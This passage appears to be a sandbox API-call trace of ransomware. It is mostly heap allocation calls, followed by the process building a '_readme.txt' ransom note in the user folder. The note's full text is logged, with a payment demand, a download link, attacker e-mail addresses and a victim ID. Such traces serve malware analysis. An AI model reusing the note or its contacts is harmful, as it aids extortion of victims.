(HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.639] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.639] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ad3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.640] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc2e) returned 0x7b13900 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.640] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.641] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.641] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.642] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.642] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.643] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac3918 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.643] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ac3918 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x830) returned 0x7ad3918 [0111.644] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc46) returned 0x7b13900 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ad3918 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b13900 | out: hHeap=0x5010000) returned 1 [0111.644] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x820) returned 0x7ac3918 [0111.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac3918 | out: hHeap=0x5010000) returned 1 [0111.645] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1af58 | out: hHeap=0x5010000) returned 1 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x860) returned 0x7b13900 [0111.645] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x30) returned 0x7a05e48 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.645] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0111.645] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0111.645] PathFindFileNameW (pszPath="") returned="" [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x40) returned 0x7a1af58 [0111.645] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x76190000 [0111.645] GetProcAddress (hModule=0x76190000, lpProcName="SHGetFolderPathW") returned 0x76215708 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x800) returned 0x7b13900 [0111.645] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x7b13900 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0111.645] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x810) returned 0x7b14108 [0111.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x20) returned 0x7a35c90 [0111.646] FreeLibrary (hLibModule=0x76190000) returned 1 [0111.646] PathAppendW (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", pMore="_readme.txt" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 1 [0111.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x840) returned 0x7ac41a0 [0111.646] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a1afa0 | out: hHeap=0x5010000) returned 1 [0111.646] PathFileExistsW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\_readme.txt") returned 0 [0111.646] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x7d00) returned 0x7b152e0 [0111.646] lstrcpyW (in: lpString1=0x7b152e0, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf" [0111.646] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237Ihsdf", lpString2="dCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n154Asd3768237IhsdfdCTsLrFgG0hVTMLpsAbHePrPnUYuvuSogu8GwEl1") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-FgRVxELOar\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if 